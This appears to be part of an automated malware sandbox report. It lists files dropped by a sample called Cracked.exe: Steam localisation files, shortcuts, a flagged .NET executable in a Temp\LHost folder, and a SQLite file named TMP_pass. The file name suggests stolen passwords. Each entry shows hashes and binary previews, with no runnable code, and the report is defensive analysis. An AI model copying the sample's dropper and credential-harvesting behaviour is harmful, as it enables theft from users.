Preview:	"Language" "romanian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Se actualizeaz. %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% trebuie s. se autoactualizeze .nainte de lansare.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% nu poate scrie .n folderul s.u. Asigur.-te c. nu .ncerci s. rulezi aplica.ia din imaginea de pe disc.".."SteamBootstrapper_RunFromDiskImageOSX".."Te rug.m s. mu.i %appname% .n folderul cu aplica.ii .nainte de a .ncerca s. lansezi aplica.ia.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% nu poate scrie .n folderul s.u.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% nu poate rula de la o adres. de folder cu caractere non-engleze. Te rug.m s. reinstalezi %appname% .n folderul implicit.".."SteamBootstrapper_InstallDirIncompatible".."%appname% nu poate rula dintr-o cale cu un folder care are caractere care nu sunt ASCII .n aceast. versiune de Windows. Te rug.m s. instalezi din nou %appname% .n f

C:\Program Files (x86)\Steam\public\steambootstrapper_russian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (437), with CRLF line terminators
Category:	dropped
Size (bytes):	6190
Entropy (8bit):	5.1762293253141625
Encrypted:	false
SSDEEP:
MD5:	E04AD6C236B6C61FC53E2CB57CED87E8
SHA1:	E9D4846B7E6CC755EE14A5D3FA45EE7D3BF425A4
SHA-256:	08C775EFA77C2A92D369F794882E467B6E2526E61BC7AA7724F48E174524502E
SHA-512:	0DFB7E6D811D649103499018F3D115C542FCABA420CEB69124A4D837FE162CE514E7BE2040860C5EF5F9C01C961FA6EEA8730606B73EC107D87597989B6FD331
Malicious:	false
Reputation:	unknown
Preview:	"Language" "russian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"....".......... %appname%...".."SteamBootstrapper_ElevationPrompt"..."..... ........ %appname% ...... .......... ....".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% .. ..... .......... . .... ..... .......... ......... ... .. .. ......... ........ . ...... ......".."SteamBootstrapper_RunFromDiskImageOSX"..".........., ........... %appname% . ..... ............ ..... .........".."SteamBootstrapper_ReadOnlyInstall"..."%appname% .. ..... .......... . .... ..... ..........".."SteamBootstrapper_InstallDirNotASCII"..."%appname% .......... ......... .. ....., .... . ....... ........ ......., .. ........... ... ........... .....

C:\Program Files (x86)\Steam\public\steambootstrapper_schinese.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4141
Entropy (8bit):	6.134254693312151
Encrypted:	false
SSDEEP:
MD5:	56DCF7B68F70826262A6FFAFFE6B1C49
SHA1:	12E4272BA0E4EABC610670CDC6941F942DA1EB6A
SHA-256:	948CAD1BB27109E008F2457248880C759D3FA98B92C5B4033B94F455CB8AC43F
SHA-512:	C3FD9CAF0BD4C303A7CC300FAADA9CFE6DD752E82D67625B31F4C0C2C091596508BB477FE19F758FDF79B25B8AC3F5320A8785D2B6705B9BCC28A054A59454E2
Malicious:	false
Reputation:	unknown
Preview:	"Language" "schinese" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"....".... %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% .............".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% ..............................".."SteamBootstrapper_RunFromDiskImageOSX"..".... %appname% ...................".."SteamBootstrapper_ReadOnlyInstall"..."%appname% .............".."SteamBootstrapper_InstallDirNotASCII"..."%appname% ....................... %appname% ...........".."SteamBootstrapper_InstallDirIncompatible".."%appname% .. Windows ......... ASCII ................ %appname% ............. Windows 7 .......".."SteamBootstrapper_InsufficientDiskSpa

C:\Program Files (x86)\Steam\public\steambootstrapper_spanish.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (466), with CRLF line terminators
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	4.835717936383347
Encrypted:	false
SSDEEP:
MD5:	E9B8FCCDB78BF9D275B79C75B2FF3E7B
SHA1:	4B549411ED4DB0F0A3699E76531353C226B06A76
SHA-256:	41ECFE0FFD6043A66A41BF9EA032712F2D1BBC19B434C6C666A107EE379F21E4
SHA-512:	4CE905A31F3A410712722271ABD7E0A9A6C43646B61A321912B4A8E8F6FAB68AB69ADD1D701C501BB069B8ECB65ECAF3BFA9BE983933D0234A8C81C24BC6601F
Malicious:	false
Reputation:	unknown
Preview:	"Language" "spanish" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."Actualizando %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% debe auto-actualizarse antes de iniciarse.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% no puede escribir en su directorio de instalaci.n. Aseg.rate de que no est.s intentando ejecutarlo desde la imagen del disco.".."SteamBootstrapper_RunFromDiskImageOSX".."Por favor, arrastra %appname% a la carpeta Aplicaciones antes de iniciarlo.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% no puede escribir en su directorio de instalaci.n.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% no puede iniciarse desde una ruta de carpeta con caracteres que no se encuentren en el alfabeto ingl.s. Por favor, vuelve a instalar %appname% en la carpeta predeterminada.".."SteamBootstrapper_InstallDirIncompatible".."%appname% no puede ejecutarse desde una ruta de carpeta con caracteres no ASCII en esta versi.n de Windows. Reinstala %appn

C:\Program Files (x86)\Steam\public\steambootstrapper_swedish.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (433), with CRLF line terminators
Category:	dropped
Size (bytes):	4423
Entropy (8bit):	4.898181632435329
Encrypted:	false
SSDEEP:
MD5:	B2248784049E1AF0C690BE2AF13A4EF3
SHA1:	AEC7461FA46B7F6D00FF308AA9D19C39B934C595
SHA-256:	4BF6B25BF5B18E13B04DB6ED2E5ED635EB844FC52BAA892F530194D9471F5690
SHA-512:	F5CEE6BBA20A4D05473971F7F87A36990E88A44B2855C7655B77F48F223219978D91BCD02D320C7E6C2EC368234E1D0201BE85B5626EF4909E047E416E1A066C
Malicious:	false
Reputation:	unknown
Preview:	"Language" "swedish" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% uppdateras....".."SteamBootstrapper_ElevationPrompt"..."%appname% beh.ver sj.lvuppdateras innan det startas.".."SteamBootstrapper_ReadOnlyInstallOSX".."Det g.r inte att skriva till %appname%s installationskatalog. Kontrollera att du inte f.rs.ker k.ra fr.n diskavbildningen.".."SteamBootstrapper_RunFromDiskImageOSX".."Dra %appname% till din programmapp innan du startar det.".."SteamBootstrapper_ReadOnlyInstall"..."Det g.r inte att skriva till %appname%s installationskatalog.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% kan inte k.ras fr.n en mapp med icke-engelska tecken. Ominstallera %appname% i den ursprungliga mappen.".."SteamBootstrapper_InstallDirIncompatible".."%appname% kan inte k.ras fr.n en mapp med icke-ASCII tecken p. denna Windows-version. Ominstallera %appname% i standardmappen, eller installera Windows 7 eller senare.".."SteamBootstrapper_InsufficientDiskSpace".."De

C:\Program Files (x86)\Steam\public\steambootstrapper_tchinese.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	6.14355023038147
Encrypted:	false
SSDEEP:
MD5:	5C7BC92E0D948E3BBA3F26F64A22FE7E
SHA1:	BD259397A312BEE9B8262058C30E0E354EEEA93A
SHA-256:	5E6B0978FE8E2D14905F46E089B06681D6DFE76DD0C1551C168171AC4DE75969
SHA-512:	8A6E18CE3D38A9658172B1871255A9941C572114137E468F130956C73FF13F282A46074A1DDA6404DBDBF317ECDAADF01324194B8F8C081F862037784F4946BA
Malicious:	false
Reputation:	unknown
Preview:	"Language" "tchinese" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"....".... %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% ...........".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% ............................".."SteamBootstrapper_RunFromDiskImageOSX"..".... %appname% .................".."SteamBootstrapper_ReadOnlyInstall"..."%appname% ............".."SteamBootstrapper_InstallDirNotASCII"..."%appname% .................... %appname% ...........".."SteamBootstrapper_InstallDirIncompatible".."%appname% .... Windows ....... ASCII ............ %appname% ............. Windows 7 .........".."SteamBootstrapper_InsufficientDiskSpace".."%appname% .. %nMegaBytes% M

C:\Program Files (x86)\Steam\public\steambootstrapper_thai.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (365), with CRLF line terminators
Category:	dropped
Size (bytes):	7480
Entropy (8bit):	4.805002739265698
Encrypted:	false
SSDEEP:
MD5:	1A537A1D30FBA1D3DB449A9207B63835
SHA1:	AB6903B4C8D6BD3571960B1218714B8D76B1880D
SHA-256:	49B6B664D50A1AE0C732BCFBBDD1DB1812DDCCF00BCF5F40200F0E7CFF5542EE
SHA-512:	1215B0D017A6E3EA207EDAFE8EDD500A91A7A971B2F989D8006FA65E475AE32EC00DF3E8EC06B4077F64F5B789C536BFB9D8B9945CA0E0731D68E48876BD8459
Malicious:	false
Reputation:	unknown
Preview:	"Language" "thai" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."........... %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% .........................".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% ...................................... ..................................................".."SteamBootstrapper_RunFromDiskImageOSX".."........ %appname% .....................................".."SteamBootstrapper_ReadOnlyInstall"..."%appname% ......................................".."SteamBootstrapper_InstallDirNotASCII"..."%appname% ........

C:\Program Files (x86)\Steam\public\steambootstrapper_turkish.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	4565
Entropy (8bit):	5.09798166555346
Encrypted:	false
SSDEEP:
MD5:	29F9A5AB4ADFAE371BF980B82DE2CB57
SHA1:	6F7EF52A09B99868DD7230F513630FFE473EDDF8
SHA-256:	711675EDB20B3CB70ACF6CF75F2EEA8E0D87C8ACE3E11C8DF362B4517427A34F
SHA-512:	543FE63F791250E05E8FDA24FD2CEADEBB4C8925E8927DE49AE490895C87EED3E61A9AD50237532649F99FE3165836261DE215EE3F66FFBFC6D677DDEEA7732A
Malicious:	false
Reputation:	unknown
Preview:	"Language" "turkish" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."%appname% G.ncelleniyor...".."SteamBootstrapper_ElevationPrompt"..."%appname%'in, .al..madan .nce kendisini g.ncellemesi gerekiyor.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% y.kleme klas.r.ne yazam.yor. Disk imaj. .zerinde .al..t.rd...n.zdan emin olun.".."SteamBootstrapper_RunFromDiskImageOSX".."Ba.latmadan .nce l.tfen %appname% uygulamas.n. Uygulamalar klas.r.n.ze s.r.kleyin.".."SteamBootstrapper_ReadOnlyInstall"..."%appname% y.kleme klas.r.ne yazam.yor.".."SteamBootstrapper_InstallDirNotASCII"..."%appname%, .ngilizce olmayan karakterler i.eren bir klas.rden .al..t.r.lamaz. L.tfen %appname% uygulamas.n. varsay.lan klas.re tekrar y.kleyin.".."SteamBootstrapper_InstallDirIncompatible".."%appname% bu Windows s.r.m.nde ASCII olmayan karakterleri i.eren bir dosya yolunda .al..t.r.lamaz. L.tfen %appname% varsay.lan klas.re yeniden y.kleyin veya

C:\Program Files (x86)\Steam\public\steambootstrapper_ukrainian.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 text, with very long lines (454), with CRLF line terminators
Category:	dropped
Size (bytes):	6248
Entropy (8bit):	5.216888325127293
Encrypted:	false
SSDEEP:
MD5:	CADD7A2F359B22580BDD6281EA23744D
SHA1:	E82E790A7561D0908AEE8E3B1AF97823E147F88B
SHA-256:	3DD0EDFBE68236E668FB308F92FE7C6493DBB05BFCA85A48DE93588F479CCC99
SHA-512:	53672DD13E6CCBE96F6D4A61297C595B6D6CBA8DE92CAA51CCF8AB1D8A82EEA5A425EAB348F295B9EC27DE0026EF849D9230F751A46E040BE8863923F91B8519
Malicious:	false
Reputation:	unknown
Preview:	"Language" "ukrainian" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"...."...... ......... %appname%.".."SteamBootstrapper_ElevationPrompt"..."%appname% ... ......... ... ........".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% .. ... ....... .. ..... .. .... ..... ............., .. .. .......... .. . ...... ......".."SteamBootstrapper_RunFromDiskImageOSX"..".... ....., ........... %appname% . ..... .......... ..... ...........".."SteamBootstrapper_ReadOnlyInstall"..."%appname% .. ... ....... .. ..... .. .... .....".."SteamBootstrapper_InstallDirNotASCII"..."...... %appname% .......... . ............, .. ....... ........... ....... .... ....., .......... %appname% ...... . ..... .. ............

C:\Program Files (x86)\Steam\public\steambootstrapper_vietnamese.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (425), with CRLF line terminators
Category:	dropped
Size (bytes):	5013
Entropy (8bit):	5.488402046311766
Encrypted:	false
SSDEEP:
MD5:	F8A86B74CE3B446E3111D1480B5FEAF7
SHA1:	AF21C55FD6AC99E65DB55AF9B8F4FFE790C4382C
SHA-256:	8A049B6126E904DCB9BA5D8AF21CC0AB25CA55221CF2CD48EEA45504FE23083B
SHA-512:	70F8009F5940B10B77A6C152C8C73F3DD425FB9AC917014504E8116EF00032888DE686271E0262CBE7A55C6E605E837DCFBEB54ECE71E49646B1030195FA0845
Malicious:	false
Reputation:	unknown
Preview:	."Language" "vietnamese" .."Tokens" ..{ .."SteamBootstrapper_UpdatingSteam"....".ang c.p nh.t %appname%...".."SteamBootstrapper_ElevationPrompt"..."%appname% c.n ...c c.p nh.t tr..c khi kh.i ch.y.".."SteamBootstrapper_ReadOnlyInstallOSX".."%appname% kh.ng th. ghi d. li.u v.o th. m.c. Ki.m tra l.i xem li.u b.n c. .ang ch.y t. file .nh ..a hay kh.ng.".."SteamBootstrapper_RunFromDiskImageOSX".."Xin vui l.ng k.o %appname% v.o th. m.c .ng d.ng tr..c khi ch.y n..".."SteamBootstrapper_ReadOnlyInstall"..."%appname% kh.ng th. ghi d. li.u v.o th. m.c.".."SteamBootstrapper_InstallDirNotASCII"..."%appname% kh.ng th. ch.y t. m.t th. m.c v.i ...ng t.n ..t trong k. t. phi ti.ng Anh. Xin vui l.ng c.i l.i %appname% . th. m.c m.c ..nh.".."SteamBootstrapper_InstallDirIncompatible".."%appname% kh.ng th. kh.i ch.y t. m.t th. m.c c. t.n g.m c.c k. t. kh.ng theo chu

C:\Program Files (x86)\Steam\uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	143104
Entropy (8bit):	6.886064194480123
Encrypted:	false
SSDEEP:
MD5:	4F009883567DFA9E908C5FFA25A2FA0A
SHA1:	5848783144C5A04FD4FFF71651E3195444156B03
SHA-256:	D0B0305B42C35716482A6AA08C8257C19AAD225E3FFD9AB1F0DE411D8B9E592E
SHA-512:	015E03849CCB6F646538EBB5A1F75BD973258564A4D2664F51DA11E88316E9A3D2863DE131F105DAF2173A5C494E6C6BCC621C6952144ED4BF4BD2BBDEC5EF6D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P...P...P.._...P...P..OP.._...P..s...P...V...P..Rich.P..........PE..L....c.W.................b..........3............@..........................@............@.............................................h(..........X....#...........................................................................................text...]a.......b.................. ..`.rdata...............f..............@..@.data...8............z..............@....ndata...`...............................rsrc...h(.........................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam\Steam Support Center.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://support.steampowered.com/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.4379029265654975
Encrypted:	false
SSDEEP:
MD5:	4AB0D4D4AE6F708045D145FB6CC37FA9
SHA1:	C8DCFDAF1389BA95C9D8AAC96827104B0D90A20C
SHA-256:	799FD9FB48CFF082C546921DF263953C3868D721D1E69165DB7A956ED2800A53
SHA-512:	27E8304D591E0D0A8FCFE8B205FFE3E195A538A02858FC9F3B32B0652DA5D3D2702061CC126B6D15E67D7505FD5379DBAB0831268F243B3A995A05D16977D618
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL=http://support.steampowered.com/..

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam\Steam.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Tue Mar 22 01:23:12 2022, mtime=Sun Jul 30 04:41:12 2023, atime=Tue Mar 22 01:23:12 2022, length=4279208, window=hide
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	4.5912803363953705
Encrypted:	false
SSDEEP:
MD5:	5584C0A3CEE3FBBA079D5BEFB8B6FB38
SHA1:	5D7366EA2D808CD498325B31E566F3F9484EE107
SHA-256:	67B87F10CAE08FCB469C46BD9C12CDFF5411C97EDB9E74D4263E2E46AA3C6B7C
SHA-512:	0138FA3682E5B3AF14832AF795CBB27A93D358637C39AF8EC70ADF18E5AFF75D4B305F863D68260E65ED09A9235007F9CC8D82FFBEAA458670F629AAEC058B34
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ....hC.=..t..r.....hC.=...KA.....................s....P.O. .:i.....+00.../C:\.....................1......V&-..PROGRA~2.........L..V&-....................V......"W.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....P.1......V'-..Steam.<.......V&-.V'-.....X......................z.S.t.e.a.m.....\.2..KA.vT.. .Steam.exe.D......vT...V'-.....X........................S.t.e.a.m...e.x.e.......U...............-.......T...........q.......C:\Program Files (x86)\Steam\Steam.exe..5.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.S.t.e.a.m.\.S.t.e.a.m...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.S.t.e.a.m.........*................@Z\|...K.J.........`.......X.......621365...........!a..%.H.VZAj...C.............-..!a..%.H.VZAj...C.............-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..m

C:\Users\Public\Desktop\Steam.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Tue Mar 22 01:23:12 2022, mtime=Sun Jul 30 04:41:12 2023, atime=Tue Mar 22 01:23:12 2022, length=4279208, window=hide
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	4.611481930031816
Encrypted:	false
SSDEEP:
MD5:	867602C7E99D3502CDA6539C631DF57D
SHA1:	7B39C8EACA894EF905406182B619756DA76D7096
SHA-256:	519C80554A017C112BB5D91882CF2DF99CA83043109364807C534AD899C66EC2
SHA-512:	2B40129DD70DB08561ADA424812975B6A8ABD99F75CF776D8C68E57996D5BBDD129F4DE5F721655E4518B10C7E94D14D7C04D2E5A8A52427A571D6BD7445E78F
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ....hC.=..t..r.....hC.=...KA.....................s....P.O. .:i.....+00.../C:\.....................1......V&-..PROGRA~2.........L..V&-....................V......"W.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....P.1......V'-..Steam.<.......V&-.V'-.....X......................z.S.t.e.a.m.....\.2..KA.vT.. .Steam.exe.D......vT...V'-.....X........................S.t.e.a.m...e.x.e.......U...............-.......T...........q.......C:\Program Files (x86)\Steam\Steam.exe..,.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.S.t.e.a.m.\.S.t.e.a.m...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.S.t.e.a.m.........*................@Z\|...K.J.........`.......X.......621365...........!a..%.H.VZAj...C.............-..!a..%.H.VZAj...C.............-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Cracked.exe.log

Download File

Process:	C:\Users\user\Desktop\Cracked.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.351599573976469
Encrypted:	false
SSDEEP:
MD5:	BEBB66F4CB83D5C34857FE75DE3A8610
SHA1:	66FB475AADAE0D4542125C8E272D9D6BBFA555BB
SHA-256:	C1A8084313E66497C9F53D0F65E85AC2D4A840AF7FEBCCCFB3924F54BCF1BADC
SHA-512:	45181B8B60B7F0FD0D841F50592B9E83F7BADF1FFED040DFCAF5779BF5F653633D78B28E5AFA92A53E9DA965113E4A8E7A16456AE3A8FDF786B7DF6B3FEE5CE8
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18817
Entropy (8bit):	5.001217266823362
Encrypted:	false
SSDEEP:
MD5:	DB93B232EFF0785FDDC28A0D5DAE38D2
SHA1:	AF5AFE47557C49F165F66B2B63962D9EB28E3157
SHA-256:	92939214003421B64153B215D15F89595673C709110FC6E005FF955F6684C390
SHA-512:	5D161CFEE2631553AC2FA8EE407FE4CBA23C9A666BB69049C0FCCBEE99413983C678E4779426532FB4F5E622155C9EFF8DA57CD93AE4453D57301B32C19CBAA9
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.9260988789684415
Encrypted:	false
SSDEEP:
MD5:	13AF6BE1CB30E2FB779EA728EE0A6D67
SHA1:	F33581AC2C60B1F02C978D14DC220DCE57CC9562
SHA-256:	168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
SHA-512:	1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe

Download File

Process:	C:\Windows\Client.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	4.557716420482383
Encrypted:	false
SSDEEP:
MD5:	D7DEA9816B882CB53D615A3AFDF0C955
SHA1:	D3BFD91FF74C072028BD747D4F56F17CC55168A5
SHA-256:	96D3BA07A0486F3B25474AF2EA79D09ADA281DE55EBEDB75F32FFDD670C107C6
SHA-512:	B0881A34616FAA65C5F279F5DD1F9E51A951C982046A46AFDB109DB71DD34C5148DB017FAF1141AB5A713846D22DF463A576C4C274558F56BF624CC703EB0F35
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...UG&..........."...0.(b..........".... ........@.. ....................................`....................................J.................................................................................... ............... ..H............text...(b... ...d.................. ..`.rsrc................f..............@..@.reloc...............x..............@..@........................H........@..\|@......:... ...............................................6...._........(......3........b`.....b`.....b`.....(......3........b`.....b`.....b`.....(.......(......(.........(....(/...(...+..(.....(A...~)...oB...~(...oC...(>...(=...,....~)...oD...-.~)...oE...~)....oF...V(j...sk... ...ol....~2......2....~3......3....~4......4....~5......5.....(......(.....~6...-.r...p.....(....os...st....6...~6....~7......7......0..L...........-..+..`....

C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Download File

Process:	C:\Users\user\Desktop\Cracked.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	2296488
Entropy (8bit):	7.983635677369008
Encrypted:	false
SSDEEP:
MD5:	70F3BC193DFA56B78F3E6E4F800F701F
SHA1:	1E5598F2DE49FED2E81F3DD8630C7346A2B89487
SHA-256:	3B616CB0BEAACFFB53884B5BA0453312D2577DB598D2A877A3B251125FB281A1
SHA-512:	3FFA815FEA2FE37C4FDE71F70695697D2B21D6D86A53EEA31A1BC1256B5777B44FF400954A0CD0653F1179E4B2E63E24E50B70204D2E9A4B8BF3ABF8EDE040D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1..P...P...P.._...P...P..OP.._...P..s...P...V...P..Rich.P..........PE..L....c.W.................b..........3............@..........................@......?.#...@.............................................h(............"..#...........................................................................................text...]a.......b.................. ..`.rdata...............f..............@..@.data...8............z..............@....ndata...`...............................rsrc...h(.........................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TMP_pass

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45nax5oe.haw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gohsvdzk.2l5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
